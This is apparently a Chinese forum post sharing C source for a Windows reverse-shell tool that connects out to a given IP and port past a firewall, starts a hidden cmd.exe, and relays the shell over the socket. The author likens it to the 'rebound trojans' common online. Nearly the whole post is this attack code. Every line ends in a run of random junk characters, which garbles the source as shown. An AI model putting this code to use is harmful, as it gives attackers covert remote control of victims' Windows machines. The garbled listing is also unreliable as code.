这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SO\/-]9#
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/* ============================== =:,xxqy
Rebound port in Windows NT BQ</g* $;
By wind,2006/7 <+j)P4O4
===============================*/ $!@\
#include g9fq5E<G
#include 3voT^o
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#pragma comment(lib,"wsock32.lib") BKa-
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void OutputShell(); =SOe}!
SOCKET sClient; 2I1uX&g
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &hIRd,1#
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void main(int argc,char **argv) %?C8mA'w
{ w2O!M!1
WSADATA stWsaData; A=zPLq{Sb
int nRet; g.JN_t5
SOCKADDR_IN stSaiClient,stSaiServer; RZpcXv
nwt C:*}
if(argc != 3) `p kMN
{ nz1'? _5
printf("Useage:\n\rRebound DestIP DestPort\n"); |H}m 4-+*
return; HBE.F&C88
} y)c5u%(
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WSAStartup(MAKEWORD(2,2),&stWsaData); l&YKD,H};
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {4aWR><
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stSaiClient.sin_family = AF_INET; /%aiEhL
stSaiClient.sin_port = htons(0); +y2[msBs
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g @I6$Z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2O"P2(1}v
{ |IoB?^_h
printf("Bind Socket Failed!\n"); ZR v"h/~
return; yV3^Qtb!
} )Rat0$6
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stSaiServer.sin_family = AF_INET; wv
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Lj\/Ji_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d%I"/8-J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $uui:wU%Q
{ . #Z+Z
printf("Connect Error!"); LLWB
return; ']-@?sD$
} plu$h-$d
OutputShell(); ;g_>
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} 'evj,zFhW
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void OutputShell() {*ZY(6^
{ m]_FQWfet
char szBuff[1024]; 6J~12TU,
SECURITY_ATTRIBUTES stSecurityAttributes; w:Jrmx
OSVERSIONINFO stOsversionInfo; 0yx 3OY
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MF60-VE
STARTUPINFO stStartupInfo; ._wkj
char *szShell; =&0wr6
PROCESS_INFORMATION stProcessInformation; B{oU,3U>
unsigned long lBytesRead; YI-O{U
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); dw~p?[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P+t#4J
stSecurityAttributes.lpSecurityDescriptor = 0; 2Nxm@B` {
stSecurityAttributes.bInheritHandle = TRUE; Uw-p758dD
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [U#72+K
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vvB(r!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G5dO 3lwq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S~qZr
stStartupInfo.wShowWindow = SW_HIDE; ;v17K
stStartupInfo.hStdInput = hReadPipe; .yT8NTu~0j
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G>YAJo
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GetVersionEx(&stOsversionInfo); *F>v]8
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switch(stOsversionInfo.dwPlatformId) =S[yE]v^
{ E^_wI>
case 1: RWgDD;&_[a
szShell = "command.com"; 3:"]Rn([P
break; #tt?!\8C
default: k~%<Ir1V]
szShell = "cmd.exe"; p3ISWJa!
break; %2'A
pp
} at!Y3VywG
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O 2{)WWOT
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send(sClient,szMsg,77,0); Nf+b"&Zh`
while(1) _u"nvgVz9
{ E'1+ Yq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `=#01YX[0
if(lBytesRead) _a_xzv'
{ sGY_{CZ:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U(&oj e
send(sClient,szBuff,lBytesRead,0); UX`]k{Mz
} h:XzUxL\
else
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{ "O+5R(XT
lBytesRead=recv(sClient,szBuff,1024,0); 4@ILw
if(lBytesRead<=0) break; s"=6{EVqk3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k<w(i
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} D+ V7hpH-
} w)E@*h<Z
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return; RO\gax
}